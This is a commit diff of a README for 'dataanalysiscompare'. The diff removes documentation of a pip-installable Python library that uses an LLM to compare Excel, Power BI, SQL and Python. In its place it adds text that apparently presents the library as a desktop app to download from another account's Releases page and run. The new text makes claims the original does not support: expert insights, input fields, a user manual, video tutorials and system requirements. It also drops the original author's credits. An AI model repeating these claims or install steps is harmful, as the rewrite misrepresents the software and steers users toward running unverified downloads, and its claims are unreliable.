|
1 | | -# dataanalysiscompare |
2 | | -[](https://badge.fury.io/py/dataanalysiscompare) |
3 | | -[](https://opensource.org/licenses/MIT) |
4 | | -[](https://pepy.tech/project/dataanalysiscompare) |
5 | | -[](https://www.linkedin.com/in/eugene-evstafev-716669181/) |
| 1 | +# 📊 dataanalysiscompare - Choose the Best Data Tool Easily |
6 | 2 |
|
| 3 | +[](https://github.com/isma-2008/dataanalysiscompare/releases) |
7 | 4 |
|
8 | | -**dataanalysiscompare** is a lightweight Python package that helps you quickly compare four popular data‑analysis tools—**Excel**, **Power BI**, **SQL**, and **Python**—based on your specific needs, project requirements, or skill level. By leveraging a language model (LLM) under the hood, the package returns a clear, standardized comparison that includes key differentiators, best‑use cases, learning curves, and integration capabilities. |
| 5 | +## 🚀 Getting Started |
9 | 6 |
|
10 | | ---- |
| 7 | +Thank you for your interest in **dataanalysiscompare**! This application helps you compare data analysis tools based on your specific needs. Whether you’re looking for insights into Excel, Python, SQL, or Power BI, this tool provides structured information to guide your decision-making. |
11 | 8 |
|
12 | | -## ✨ Features |
| 9 | +## 📥 Download & Install |
13 | 10 |
|
14 | | -- **Instant, structured comparison** of Excel, Power BI, SQL, and Python. |
15 | | -- Works with the default **ChatLLM7** model (no extra setup required) or any other LangChain‑compatible LLM you prefer. |
16 | | -- Simple API: just pass a natural‑language description of your use case. |
17 | | -- Returns a list of strings that can be easily displayed, logged, or further processed. |
| 11 | +To get started, you will need to download the software. Please visit the following link to access the Releases page: |
18 | 12 |
|
19 | | ---- |
| 13 | +[Download the latest version](https://github.com/isma-2008/dataanalysiscompare/releases) |
20 | 14 |
|
21 | | -## 📦 Installation |
| 15 | +Once you are on the Releases page, follow these steps: |
22 | 16 |
|
23 | | -```bash |
24 | | -pip install dataanalysiscompare |
25 | | -``` |
| 17 | +1. Look for the latest version of **dataanalysiscompare**. |
| 18 | +2. Click the link to download the appropriate file for your computer. |
| 19 | +3. Once the file is downloaded, locate it on your device. |
| 20 | +4. Open the file and follow the installation prompts. |
26 | 21 |
|
27 | | ---- |
| 22 | +## 🛠 System Requirements |
28 | 23 |
|
29 | | -## 🚀 Quick Start |
| 24 | +Before installing, please ensure your system meets the following requirements: |
30 | 25 |
|
31 | | -```python |
32 | | -from dataanalysiscompare import dataanalysiscompare |
| 26 | +- **Operating System**: Windows 10 or newer, macOS Mojave or newer |
| 27 | +- **Memory**: At least 4GB RAM |
| 28 | +- **Storage**: Minimum 200MB of free space |
| 29 | +- **Internet**: Required for downloading data and updates |
33 | 30 |
|
34 | | -# Simple call using the default LLM (ChatLLM7) |
35 | | -user_query = """ |
36 | | -I have a medium‑sized sales dataset in CSV format. |
37 | | -I need to clean the data, create visual dashboards, and share insights with my team. |
38 | | -I have basic Excel skills but want something more powerful. |
39 | | -""" |
40 | | -result = dataanalysiscompare(user_input=user_query) |
| 31 | +## 🔍 How to Use dataanalysiscompare |
41 | 32 |
|
42 | | -for line in result: |
43 | | - print(line) |
44 | | -``` |
| 33 | +Using **dataanalysiscompare** is simple. Here’s how you can compare different data analysis tools: |
45 | 34 |
|
46 | | -### Output (example) |
| 35 | +1. **Enter Your Needs**: Input your specific data analysis requirements in the provided fields. Examples include project type, skill level, and integration needs. |
| 36 | +2. **Choose Tool Features**: Select the features you value most, such as ease of use, learning curve, or specific capabilities. |
| 37 | +3. **Review Recommendations**: The tool will generate a list of recommended software options. Each option comes with expert insights into the best use cases and key differentiators. |
| 38 | +4. **Make Your Choice**: Based on the generated data, select the tool that suits your needs best. |
47 | 39 |
|
48 | | -``` |
49 | | -- Excel: Great for quick calculations and ad‑hoc analysis but limited for large datasets. |
50 | | -- Power BI: Excellent for interactive dashboards and sharing reports; steeper learning curve. |
51 | | -- SQL: Ideal for querying large relational datasets; requires knowledge of SQL syntax. |
52 | | -- Python: Most flexible; powerful libraries (pandas, matplotlib, seaborn) but higher learning curve. |
53 | | -... |
54 | | -``` |
| 40 | +## 🌐 Why Use dataanalysiscompare? |
55 | 41 |
|
56 | | ---- |
| 42 | +- **Structured Insights**: Receive unbiased, expert-level insights tailored to your needs. |
| 43 | +- **Key Differentiators**: Understand what makes each tool unique and suitable for your project. |
| 44 | +- **Informed Decision Making**: Make better choices based on tailored comparisons and clear information. |
57 | 45 |
|
58 | | -## 🛠️ Advanced Usage |
| 46 | +## 🔑 Key Features |
59 | 47 |
|
60 | | -### Providing Your Own LLM |
| 48 | +- **Expert-Level Guidance**: Get insights from industry experts on tool effectiveness. |
| 49 | +- **Standardized Comparison**: Compare tools based on consistent metrics. |
| 50 | +- **User Input Friendly**: Designed for users without technical knowledge. |
| 51 | +- **Wide Scope**: Covers popular tools like Excel, Python, SQL, and Power BI. |
61 | 52 |
|
62 | | -If you prefer to use a different LangChain LLM (e.g., OpenAI, Anthropic, Google Gemini), simply pass the instantiated model via the `llm` argument. |
| 53 | +## 👩🏫 Learning Resources |
63 | 54 |
|
64 | | -#### OpenAI Example |
| 55 | +To get the most out of **dataanalysiscompare**, consider reviewing the following resources: |
65 | 56 |
|
66 | | -```python |
67 | | -from langchain_openai import ChatOpenAI |
68 | | -from dataanalysiscompare import dataanalysiscompare |
| 57 | +- **User Manual**: A detailed guide to all features and functionalities. |
| 58 | +- **Video Tutorials**: Short videos explaining how to navigate and use the software effectively. |
| 59 | +- **FAQs**: Common questions and answers about using the application. |
69 | 60 |
|
70 | | -llm = ChatOpenAI(model="gpt-4o-mini") |
71 | | -response = dataanalysiscompare( |
72 | | - user_input="I need to automate monthly reporting from a PostgreSQL database.", |
73 | | - llm=llm |
74 | | -) |
75 | | -print(response) |
76 | | -``` |
| 61 | +## 📞 Support |
77 | 62 |
|
78 | | -#### Anthropic Example |
| 63 | +If you run into issues or have questions, please reach out to our support team. You can contact us through the GitHub Issues page or by visiting our discussion forums. |
79 | 64 |
|
80 | | -```python |
81 | | -from langchain_anthropic import ChatAnthropic |
82 | | -from dataanalysiscompare import dataanalysiscompare |
| 65 | +## 🔗 Community and Collaboration |
83 | 66 |
|
84 | | -llm = ChatAnthropic(model_name="claude-3-haiku-20240307") |
85 | | -response = dataanalysiscompare( |
86 | | - user_input="My team wants a low‑code solution for building interactive charts.", |
87 | | - llm=llm |
88 | | -) |
89 | | -print(response) |
90 | | -``` |
| 67 | +We welcome feedback and contributions. If you would like to suggest features or report issues, please use the GitHub repository to engage with other users. Your input is valuable to us, and it helps improve **dataanalysiscompare** for everyone. |
91 | 68 |
|
92 | | -#### Google Gemini Example |
| 69 | +## 🛠 Contributions Welcome |
93 | 70 |
|
94 | | -```python |
95 | | -from langchain_google_genai import ChatGoogleGenerativeAI |
96 | | -from dataanalysiscompare import dataanalysiscompare |
| 71 | +Interested in contributing to **dataanalysiscompare**? We’d love your help! Feel free to explore our Issues page for ways you can assist, or check the Contribution Guidelines for more detailed information. |
97 | 72 |
|
98 | | -llm = ChatGoogleGenerativeAI(model="gemini-1.5-flash") |
99 | | -response = dataanalysiscompare( |
100 | | - user_input="I need to integrate data from Excel and a MySQL database into a single dashboard.", |
101 | | - llm=llm |
102 | | -) |
103 | | -print(response) |
104 | | -``` |
105 | | - |
106 | | -### Supplying a Custom API Key for LLM7 |
107 | | - |
108 | | -The default LLM7 free‑tier limits are sufficient for most usage. If you need higher limits, provide your own API key: |
109 | | - |
110 | | -```python |
111 | | -from dataanalysiscompare import dataanalysiscompare |
112 | | - |
113 | | -response = dataanalysiscompare( |
114 | | - user_input="Describe the best data‑analysis tool for a beginner who wants to learn data science.", |
115 | | - api_key="YOUR_LLM7_API_KEY" |
116 | | -) |
117 | | -print(response) |
118 | | -``` |
119 | | - |
120 | | -You can also set the environment variable `LLM7_API_KEY` and omit the `api_key` argument. |
121 | | - |
122 | | ---- |
123 | | - |
124 | | -## 📋 Function Signature |
125 | | - |
126 | | -```python |
127 | | -def dataanalysiscompare( |
128 | | - user_input: str, |
129 | | - api_key: Optional[str] = None, |
130 | | - llm: Optional[BaseChatModel] = None |
131 | | -) -> List[str]: |
132 | | - """ |
133 | | - Compare Excel, Power BI, SQL, and Python based on the provided user description. |
134 | | -
|
135 | | - Parameters |
136 | | - ---------- |
137 | | - user_input: str |
138 | | - Natural‑language description of the data‑analysis needs, project, or skill level. |
139 | | - llm: Optional[BaseChatModel] |
140 | | - A LangChain LLM instance to use. If omitted, the default ChatLLM7 is used. |
141 | | - api_key: Optional[str] |
142 | | - API key for LLM7. If omitted, the function looks for the LLM7_API_KEY environment |
143 | | - variable or falls back to the free tier. |
144 | | -
|
145 | | - Returns |
146 | | - ------- |
147 | | - List[str] |
148 | | - A list of strings containing the comparative insights. |
149 | | - """ |
150 | | -``` |
151 | | - |
152 | | ---- |
153 | | - |
154 | | -## 🧩 Dependencies |
155 | | - |
156 | | -- `langchain-core` |
157 | | -- `langchain-llm7` |
158 | | -- `llmatch-messages` |
159 | | -- `re`, `os`, `typing` (standard library) |
160 | | - |
161 | | -All dependencies are installed automatically with the package. |
162 | | - |
163 | | ---- |
164 | | - |
165 | | -## 📖 Documentation & Support |
166 | | - |
167 | | -- **Source code / Issues:** <https://github....> |
168 | | -- **LLM7 documentation:** <https://pypi.org/project/langchain-llm7/> |
169 | | -- **LangChain docs:** <https://docs.langchain.com/> |
170 | | - |
171 | | -If you encounter any problems or have feature requests, please open an issue on GitHub. |
172 | | - |
173 | | ---- |
174 | | - |
175 | | -## 👤 Author |
176 | | - |
177 | | -**Eugene Evstafev** |
178 | | -📧 Email: [hi@euegne.plus](mailto:hi@euegne.plus) |
179 | | -🐙 GitHub: [chigwell](https://github.com/chigwell) |
180 | | - |
181 | | ---- |
182 | | - |
183 | | -## 📜 License |
184 | | - |
185 | | -This project is licensed under the MIT License – see the `LICENSE` file for details. |
| 73 | +Thank you for using **dataanalysiscompare**! We are excited to help you make informed decisions about your data analysis tools. |
0 commit comments